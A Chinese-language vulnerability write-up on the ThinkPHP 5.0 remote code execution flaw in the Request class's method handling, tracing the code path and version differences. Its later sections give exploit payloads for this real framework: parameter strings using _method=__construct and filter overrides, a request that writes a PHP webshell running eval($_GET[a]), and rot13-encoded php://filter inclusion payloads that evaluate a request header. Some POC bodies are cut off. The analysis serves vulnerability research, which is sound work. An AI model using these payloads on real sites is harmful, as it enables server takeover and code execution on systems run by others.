ThinkPHP5核心Request类导致的RCE
简介
Thinphp
团队在实现框架中的核心类Requests
的method
方法实现了表单请求类型伪装,默认为$_POST['_method']
变量,却没有对$_POST['_method']
属性进行严格校验,可以通过变量覆盖掉Requets
类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。
影响版本
5.0.0<=ThinkPHP<=5.0.23
5.1.0<=ThinkPHP<=5.1.31
本文中分析以5.0
为例,主要分为两种
5.0.0<=ThinkPHP<=5.0.12
5.0.13<=ThinkPHP<=5.0.23
在低版本中不存在利用上的限制,
在高版本中需要开启debug
或者存在验证码的路由
POC
5.0.0<=ThinkPHP<=5.0.12
无限制
1 | POST /?s=index/index |
5.0.13<=ThinkPHP<=5.0.23
需要路由
1 | POST /?s=captcha/calc |
漏洞分析
低版本分析
以5.0.10
为例
代码流程
首先在开启debug
的时候会直接在下面的箭头处触发RCE
,这里我们先把debug
关掉
跟进routeCheck
方法
这里会调用Route
类得check
方法
跟进check
方法
这里会调用Request
类的method
方法
跟进method
方法
通过POST
接受一个参数,这个接受的参数名为_method
,根据接受到的参数值,取调用方法
核心漏洞点就是这个,由于没有对参数进行限制导致可以调用__construct
,初始化filter
变量
跟进__construct
方法
但此时注意,这只是设置了filter
的值,还需要取调用
最终导致RCE
的位置在filterValue
中
此方法被input方法调用,input方法被多个方法调用
可以看到,如果开启debug的情况下,直接就可以在1处触发RCE
但在未开启的情况下,需要跟进exec方法
在此方法中调用了module方法
在module中会加载控制器
controller方法中会反射一个类
在invokeClass方法中调用了bindParams方法
最终调用param方法触发RCE
调用堆栈
复现
高版本分析对比
以5.0.20
为例
代码分析
为什么,在不开debug
的时候无法利用呢?
刚刚我们知道,在app
的run
方法调用routeCheck
方法设置了filter
的值
然后调用exec
,继而调用module
方法,最终出发了RCE
这个过程中,未对我们设置的filter
进行处理
但是在较高版本中的module
方法中
在调用Loader
加载控制器之前对filter
进行了置空操作
为什么存在验证码路由的时候可以呢?
既然module行不通,那就换其他的分支,比如controller或者method
那么这个type值怎么才能是这个呢
全局搜索
查看调用
继续跟进
可以看到是在Route的check方法中调用的
如果存在这个路由别名,就可以了,但是我的测试环境不存在,就不加了,主要知道为什么就好
$roules
为空的时候一切免谈
扩展利用
其实到目前为止已经存在很多的利用方式
比如,调用\think\__include_file
或者调用Lang
的load
方法取文件包含
或者一些其他的关于文件写入的
这里提几个payload
调用Build类的module方法写文件
产生错误
poc
1 | POST /index.php?s=captcha |
访问地址
127.0.0.1/123".phpinfo();/controller/Index.php
不产生错误
poc
1 | POST /index.php?s=captcha |
访问地址
127.0.0.1/%3f><%3fphp eval($_GET[a]);%3f>/controller/Index.php?a=phpinfo();
php过滤器+rot13绕过
poc1
1 | b=../public/./<?cuc riny(trgnyyurnqref()["pzq"]);?>&_method=__construct&filter=think\Build::moudle&a=1&method=GET |
poc2
1 | b=php://filter/read=string.rot13/resource=./<?cuc riny(trgnyyurnqref()["pzq"]);?>/controller/Index.php&_method=__construct&filter=think\__include_file&a=1&method=GET |
代码执行
这个个人比较喜欢
具体就是调用set_error_handler
重置了框架的异常处理函数,返回值不可控的情况下调用Request
的path
函数
在初始化的时候通过post
的path
传参重置了$this->path
变量,导致调用path
方法的返回值成为可控值
poc
1 | POST /index.php?s=captcha&g=implode |
end
参考